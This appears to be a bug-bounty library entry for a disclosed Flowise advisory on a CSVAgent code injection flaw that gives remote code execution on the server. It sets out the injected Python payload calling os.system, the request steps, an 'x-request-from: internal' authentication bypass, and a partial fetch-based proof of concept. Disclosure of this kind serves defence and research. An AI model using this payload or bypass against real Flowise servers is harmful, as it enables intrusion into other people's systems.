# Flowise: Code Injection in CSVAgent leads to Authenticated RCE

Flowise CSVAgent interpolates user-controlled customReadCSV code into a pyodide Python snippet, letting an authenticated attacker run OS commands on the server.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: supriza
- Disclosed: 2026-04-16
- CVE: CVE-2026-41137
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9wc7-mj3f-74xv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-9wc7-mj3f-74xv
- Tags: area:ai domain:ai domain:web impact:rce kind:research platform:ghsa sev:critical tech:nodejs tech:python technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** CSVAgent node in Flowise server (pyodide Python execution)
**Root cause:** The user-controlled `customReadCSVFunc` input is interpolated directly into the `code` string without sanitization, then executed via `pyodide.runPythonAsync(code)`.
**Steps:**
1. `POST /api/v1/chatflows` with a flowData containing only a CSVAgent node whose `customReadCSV` input is `DataFrame({'foo': ['bar!']});import os;os.system('whoami');`; response returns `chatflowId`.
2. `POST /api/v1/prediction/[CHATFLOWID]` with body `{"question":"whoami?"}` to trigger execution of the chatflow.
3. Optionally `DELETE /api/v1/chatflows/[chatflowId]` to clean up.
4. If `FLOWISE_USERNAME`/`FLOWISE_PASSWORD` unset, bypass auth by sending header `x-request-from: internal` instead of a Bearer token.
**How found:** Code review of CSVAgent.ts line 157: noticed `customReadCSVFunc` flows unsanitized into the `code` variable passed to `pyodide.runPythonAsync`, and that `/chatflows` is not in the auth whitelist but can be bypassed with the internal header when credentials are unset.
**Exploitation:** Authenticated attacker (or unauthenticated when default creds unset, via `x-request-from: internal`) creates a chatflow embedding malicious Python in the CSVAgent's custom read function, then triggers it through the prediction endpoint; pyodide executes the injected `os.system` call on the server, yielding RCE.
**Insight:** LLM/agent builder nodes that let users supply 'custom code' (e.g. pandas read functions) often interpolate it into a Python/JS eval sink like pyodide — check every node input typed `code` for direct interpolation into runPythonAsync/eval, and check whether the flow-creation endpoint is reachable via the internal-header auth bypass.

## Proof of concept (copied exactly from the original report)

**POST chatflow then trigger prediction**

```
let res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "Authorization": "Bearer <your-api-key>"
        //Alternative: "x-request-from": "internal"
    },
    body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({"question": "whoami?"})
```

